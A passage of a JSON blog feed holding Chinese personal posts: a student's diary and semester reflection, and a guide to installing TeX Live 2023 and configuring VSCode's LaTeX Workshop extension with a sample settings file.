loading=\"lazy\"/\u003e\u003cbr/\u003e\n我是一个不恋家的人,向往着走南闯北,没心思回头看。他们老了,跟不上我了。我爸会像所有父母要离开家的小孩子一样发发脾气,我妈只是远远地看着。\u003cbr/\u003e\n他们的儿子有自己的生活,嘴里说着新鲜的听不懂的话,越发懂事却越发陌生。你我是否会怀念,那些哭闹着要吃饺子要买遥控车的日子。那时他们还年轻,我也是。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e去留两无意,停云杯难息。\u003cbr/\u003e\n落日孤城闭,燕然归无计。\u003cbr/\u003e\n惟有此曲能解断肠情。\u003cbr/\u003e\n\\ ——《长安忆》\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e此曲声成,自有身后名\u003c/h2\u003e\n\u003cp\u003e学校的研究生公寓又建好了,综合楼关门了许些店(最意难平是蜜雪冰城)。\u003c/p\u003e\n\u003cp\u003e来的路上买了教员和五位导师的画像,贴一张年轻教员在衣柜门上,时时自勉(虽未曾有用,笑)。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3618386613.jpg\" alt=\"IMG_0405.JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n二次元+红色,我也是神人了。左边是幻想,右边是梦想,脚下是事业。\u003c/p\u003e\n\u003cp\u003e略有惊喜的是联合国儿童基金会的证书戒指发来了。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/2489695285.jpg\" alt=\"IMG_0342 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n听同学说这算是国际奖项能加综测分(笑),这对我一个挂科的有什么用呢?\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e安得广厦千万间,\u003cbr/\u003e\n大辟天下寒士俱欢颜,\u003cbr/\u003e\n风雨不动安如山!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e收到证书的时候正好是 7 月 28 日,\u003cstrong\u003e唐山大地震\u003c/strong\u003e 48 周年。\u003cbr/\u003e\n我有一个梦想,希望以后大家都能有坚实的房子住。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/1524464415.jpg\" alt=\"不会崩塌的大厦.jpg\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e西安夏天和家里一样热,甚至更闷热,动辄一身汗。\u003cbr/\u003e\n四天三夜电赛通宵一次,好在已经习惯了。\u003cbr/\u003e\nF 题做个磁悬浮玩具,底座不让用磁铁,最后还是靠功率堆上去的,八个小线圈一个大线圈,大线圈手绕了好几个,也是尽力了。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/4263497725.jpg\" alt=\"IMG_0386 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n最后测评能浮 1.5 cm,砍下 35 分。\u003cbr/\u003e\n我很满意,虽然结果还没出来但已经开起了香槟。\u003cbr/\u003e\n守银摄金(指稳住省二冲刺省一)\u003cbr/\u003e\n也算是给自己一个交代。\u003c/p\u003e\n\u003ch2\u003e年华落丹青,一片碧空洗\u003c/h2\u003e\n\u003cp\u003e今天评测完在 EII-210 蹭空调(该死的寝室维修设备停电了),上潮刷视频混到六点。\u003cbr/\u003e\n闲来无事逛电商,嘴馋买许多零食,想着若是味美质佳或可送与家人朋友尝尝。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/2871930292.png\" alt=\"IMG_0403 (1).PNG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3701669522.png\" alt=\"IMG_0404.PNG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e回来又没干什么,战地一启动到 23 点。毁了,孩子。\u003cbr/\u003e\n蹉跎得差不多了,一个月前还说要出电磁场与电磁波的笔记来着,现在进度无限接近 0。\u003cbr/\u003e\n从明天开始好好学习,步入正轨。\u003cbr/\u003e\n哦不,是今天,这就过了 12 点了(o (\u003cem\u003e ̄▽ ̄\u003c/em\u003e)ブ)\u003cbr/\u003e\n希望在黑神话出来前做些实事。\u003c/p\u003e\n\u003cp\u003e码字的时候回想起家里冰镇鲜榨西瓜汁的滋味,饿了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我本四海欣然往,长安无此好味尝。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e夜色已浓,言简意深。\u003cbr/\u003e\n惟有此曲能忘人间景。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3364523607.png\" alt=\"fuguang.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e晚安\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/diary1.html"},{"title":"大二下学期总结","time":"2024-06-26T17:14:00Z","content":"前情提要:概率论上午考记成下午了,一觉睡到十一点,醒来美滋滋点一份宫保鸡丁饭。淡淡地死了……大约的确是结束了吧,大二也好保研也好。故事的结局往往以意外结尾,似乎只有意料之外才能令演员和观众都印象...\u003chr /\u003e\u003cp\u003e\u003cstrong\u003e前情提要:\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e概率论上午考记成下午了,一觉睡到十一点,醒来美滋滋点一份宫保鸡丁饭。\u003cbr/\u003e\n淡淡地死了……\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e大约的确是结束了吧,大二也好保研也好。故事的结局往往以意外结尾,似乎只有意料之外才能令演员和观众都印象深刻。\u003cbr/\u003e\n来钱班一年,确实经历了更多的考验,每次赶早八看到室友在睡觉,晚上下实验看到室友打游戏,我恨得牙痒痒。\u003cbr/\u003e\n值得吗?\u003cbr/\u003e\n我毫无悔意。\u003cbr/\u003e\n尽管对学弟的说辞总是实打实的劝退,本人并不后悔来钱班。为了更接近航空航天,我果断从机电院润到钱班,填申请表的那一刻,就预料到了课多事多学习卷,分少钱少保研难。知乎上一届的劝退贴没把我劝住,一如我劝不住23级的学弟一样。\u003cbr/\u003e\n在远离市中心的长安校区,白天千米厚的纯棉白云和夜晚无数滴星总是比“竞赛”、“保研”这些字眼更加迷人。不用为学分和保研焦虑后,人倒是舒爽不少。\u003cbr/\u003e\n倒也没什么可难受的,与在一穷二白的新中国建立起航空工业相比,考研连挫折都算不上。无非是道路曲折些,走便是了。\u003cbr/\u003e\n好在本学期的课程我大部分都已掌握,概率论未考尚无根底,疏漏之处交由实践去弥补。学问到手,不算白活半年。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“未选择的路永远更诱人,但是我相信过去的自己选择的路永远最正确。”\u003cbr/\u003e\n“学校是教书育人的地方,不应该是争分数的地方。大学何以为‘大’?大学问,大智慧,大境界。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e一年前写下的文字,时时自勉自省。切莫舍本逐末,被世俗表象迷了眼。往哪里走?走近航空航天,走进人民群众,走向共产主义。\u003cbr/\u003e\n\u003cstrong\u003e踏平坎坷成大道,斗罢艰险又出发。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e虽然总是怀疑是因为熬夜肝概率论笔记让我昏了头,但是以后笔记还是会发的。同届同学未必用得上,倒是可以遗泽后人,算是为知识传播和文化共产做一点贡献。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Summary-of-the-second-semester-of-the-sophomore-year.html"}]},{"name":"康师傅","email":"","uri":"https://blog.ksfu.top/","description":"太菜了","article":[{"title":"TeX Live 2023安装\u0026VSCode环境配置记录","time":"2023-11-22T15:00:39Z","content":"\u003ch1 id=\"TeX-Live-2023安装-amp-VSCode环境配置记录\"\u003e\u003ca href=\"#TeX-Live-2023安装-amp-VSCode环境配置记录\" class=\"headerlink\" title=\"TeX Live 2023安装\u0026amp;VSCode环境\u003chr /\u003e\u003ch1 id=\"TeX-Live-2023安装-amp-VSCode环境配置记录\"\u003e\u003ca href=\"#TeX-Live-2023安装-amp-VSCode环境配置记录\" class=\"headerlink\" title=\"TeX Live 2023安装\u0026amp;VSCode环境配置记录\"\u003e\u003c/a\u003eTeX Live 2023安装\u0026amp;VSCode环境配置记录\u003c/h1\u003e\u003cp\u003e整完了。\u003cdel\u003e还没写完,主要快断电了属于是)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e系统信息: Windows 11 专业版 23H2 22635.2771。\u003c/p\u003e\u003cp\u003e之前机子上装过2021版本,但一直没咋用过)刚好后面要开始用这玩意了,就重新装了一下,顺便配一配环境。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e参考链接:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/603669792\"\u003eLaTeX小白兔手册-配置篇 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/166523064\"\u003eVisual Studio Code (vscode)配置LaTeX - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yangyq.net/2022/05/latex-with-visual-studio-code.html\"\u003e配置Visual Studio Code和LaTex环境 - 老杨说话的地方 (yangyq.net)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki\"\u003eHome · James-Yu\u0026#x2F;LaTeX-Workshop Wiki (github.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"TeX-Live安装\"\u003e\u003ca href=\"#TeX-Live安装\" class=\"headerlink\" title=\"TeX Live安装\"\u003e\u003c/a\u003eTeX Live安装\u003c/h2\u003e\u003cp\u003e首先下载TeX Live 2023镜像,推荐清华镜像站:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/?C=M\u0026O=A\"\u003eIndex of \u0026#x2F;CTAN\u0026#x2F;systems\u0026#x2F;texlive\u0026#x2F;Images\u0026#x2F; | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror\u003c/a\u003e \u003c/p\u003e\u003cp\u003e选择\u003ccode\u003etexlive2023.iso\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下载完成后打开镜像,运行\u003ccode\u003einstall-tl-windows.bat\u003c/code\u003e,\u003c/p\u003e\u003cp\u003e图形界面,操作比较简单,注意选择好安装路径即可,大约需要 \u003cstrong\u003e8G\u003c/strong\u003e 的硬盘空间。\u003c/p\u003e\u003cp\u003e然后安装就行,安装时间比较长,50分钟左右?注意别点 \u003ccode\u003eAbort\u003c/code\u003e ,耐心等着就行。\u003c/p\u003e\u003cp\u003e最后提示 \u003ccode\u003e欢迎进入 Tex Live 的世界!\u003c/code\u003e ,就算是装完了。然后打开终端,输入 \u003ccode\u003e latex -v\u003c/code\u003e 查看版本信息,检查安装是否正常。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epdfTeX \u003cspan class=\"token number\"\u003e3.141592653\u003c/span\u003e-2.6-1.40.25 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eTeX Live \u003cspan class=\"token number\"\u003e2023\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ekpathsea version \u003cspan class=\"token number\"\u003e6.3\u003c/span\u003e.5Copyright \u003cspan class=\"token number\"\u003e2023\u003c/span\u003e Han The Thanh \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003epdfTeX\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e et al.There is NO warranty. Redistribution of this software iscovered by the terms of both the pdfTeX copyright andthe Lesser GNU General Public License.For \u003cspan class=\"token function\"\u003emore\u003c/span\u003e information about these matters, see the \u003cspan class=\"token function\"\u003efile\u003c/span\u003enamed COPYING and the pdfTeX source.Primary author of pdfTeX: Han The Thanh \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003epdfTeX\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e et al.Compiled with libpng \u003cspan class=\"token number\"\u003e1.6\u003c/span\u003e.39\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e using libpng \u003cspan class=\"token number\"\u003e1.6\u003c/span\u003e.39Compiled with zlib \u003cspan class=\"token number\"\u003e1.2\u003c/span\u003e.13\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e using zlib \u003cspan class=\"token number\"\u003e1.2\u003c/span\u003e.13Compiled with xpdf version \u003cspan class=\"token number\"\u003e4.04\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"VSCode配置LaTex环境\"\u003e\u003ca href=\"#VSCode配置LaTex环境\" class=\"headerlink\" title=\"VSCode配置LaTex环境\"\u003e\u003c/a\u003eVSCode配置LaTex环境\u003c/h2\u003e\u003ch3 id=\"LaTeX-Workshop插件配置\"\u003e\u003ca href=\"#LaTeX-Workshop插件配置\" class=\"headerlink\" title=\"LaTeX Workshop插件配置\"\u003e\u003c/a\u003eLaTeX Workshop插件配置\u003c/h3\u003e\u003cp\u003e打开VScode,在扩展搜索 \u003ccode\u003eLaTeX Workshop\u003c/code\u003e 进行安装。\u003c/p\u003e\u003cp\u003e打开\u003ccode\u003eLaTeX Workshop\u003c/code\u003e 的设置,之后在右上角选择 \u003ccode\u003e打开设置(json)\u003c/code\u003e 。因为配置项比较多,所以直接网上抄设置复制进json(毕竟有159个设置项……\u003c/p\u003e\u003cp\u003e\u003ccode\u003eLaTeX Workshop\u003c/code\u003e Wiki:\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki\"\u003eHome · James-Yu\u0026#x2F;LaTeX-Workshop Wiki (github.com)\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e根据Wiki内容:\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki/Install#settings\"\u003ehttps://github.com/James-Yu/LaTeX-Workshop/wiki/Install#settings\u003c/a\u003e\u003c/p\u003e\u003cp\u003eYou can modify settings through the menu of VS Code, \u003ccode\u003ePreferences \u0026gt; Settings\u003c/code\u003e. You can also modify settings by directly editing \u003ccode\u003esettings.json\u003c/code\u003e. See an \u003ca href=\"https://code.visualstudio.com/docs/getstarted/settings#_settings-file-locations\"\u003eofficial document\u003c/a\u003e for the location of \u003ccode\u003esettings.json\u003c/code\u003e.\u003c/p\u003e\u003cp\u003eYou can also have different settings for each project with \u003ccode\u003e.vscode/settings.json\u003c/code\u003e at the root of each project workspace. See an \u003ca href=\"https://code.visualstudio.com/docs/getstarted/settings#_settings-file-locations\"\u003eofficial document\u003c/a\u003e.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e有两种修改VSCode设置的方式,一种是直接修改,全局生效的这种。另一种是针对不同工程使用不同配置,需要在工程下建立名为 \u003ccode\u003e.vscode\u003c/code\u003e 的文件夹,建立 \u003ccode\u003esettings.json\u003c/code\u003e 进行设置。我们选择第一种。\u003c/p\u003e\u003cp\u003e注意编辑json文件时要注意格式,如果文件内有其他配置,跟后面就行,别直接复制进去给覆盖掉)然后记得配置复制到最外头的大括号里面( \u003cstrong\u003e\u003ccode\u003e\u0026#123;其他配置,你的配置\u0026#125;\u003c/code\u003e\u003c/strong\u003e )。\u003c/p\u003e\u003cp\u003e到处借鉴然后揉了点适合自己的配置:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token comment\"\u003e//---------LaTeX Workshop 配置开始-----------\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 设置是否自动编译,可选:\"never\", \"onSave\", \"onFileChange\"\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.autoBuild.run\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"never\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//文件输出路径,会自动创建temp文件\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//\"latex-workshop.latex.outDir\": \"./temp\",\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//右键菜单\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.showContextMenu\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//从使用的包中自动补全命令和环境\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.intellisense.package.enabled\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//编译出错时设置是否弹出气泡设置\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.message.error.show\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.message.warning.show\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 编译工具和命令\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-shell-escape\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//加上这句,以使用minted宏包\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-8bit\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//防止minted宏包转义特殊字符\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-output-directory=temp\", //自定义辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-outdir=%OUTDIR%\", //辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-shell-escape\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//加上这句,以使用minted宏包\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-8bit\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//防止minted宏包转义特殊字符\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-output-directory=temp\", //自定义辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-outdir=%OUTDIR%\", //辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-pdf\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-outdir=%OUTDIR%\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 用于配置编译链\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.recipes\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"XeLaTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"XeLaTeX*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"PDFLaTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"PDFLaTeX*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan 